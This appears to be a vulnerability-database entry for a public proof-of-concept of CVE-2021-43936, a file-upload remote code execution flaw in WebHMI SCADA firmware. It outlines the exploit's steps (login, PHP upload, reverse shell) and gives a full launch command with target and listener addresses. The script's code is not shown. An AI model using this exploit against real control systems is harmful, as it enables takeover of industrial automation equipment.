CVE-2021-43936 PoC — Distributed Data Systems WebHmi 代码问题漏洞

Source

https://github.com/LongWayHomie/CVE-2021-43936

Associated Vulnerability

Title:Distributed Data Systems WebHmi 代码问题漏洞 (CVE-2021-43936)
Description:Distributed Data Systems WebHmi是乌克兰Distributed Data Systems公司的一个带有内置网络服务器的 Scada 系统。用于通过计算机和移动设备监视和控制本地网络上以及通过 Internet 的任何自动化系统。 Distributed Data Systems WebHMI 中存在代码问题漏洞，该漏洞源于产品未对上传文件类型进行有效验证。攻击者可通过上传危险文件导致任意代码执行。

Description

CVE-2021-43936 is a critical vulnerability (CVSS3 10.0) leading to Remote Code Execution (RCE) in WebHMI Firmware.

Readme

# CVE-2021-43936

CVE-2021-43936 is a critical vulnerability (CVSS3 10.0) leading to Remote Code Execution (RCE) in WebHMI Firmware.</br>
This vulnerability works on versions 4.0 and the newest ones.</br>
Tested only on 4.0.7475. Vulnerability is used by script in the following steps:</br>
  1. Logs into the application
  2. Uploads the PHP code execution script
  3. Sends the reverse shell payload

Exploit can fail, if there are more than one NIC attached. The solution is to try once again.

## Usage example:
`python3 cve-2021-43936.py -t 10.100.23.200 -p 80 -l 10.100.23.201 -P 80`

![Screen](img.PNG)

File Snapshot


 [4.0K]  /data/pocs/920749ca9e0aedaf945da5d22e4d3f498b6e4063
├── [3.4K]  cve-2021-43936.py
├── [ 69K]  img.PNG
├── [1.2K]  LICENSE
└── [ 610]  README.md

0 directories, 4 files

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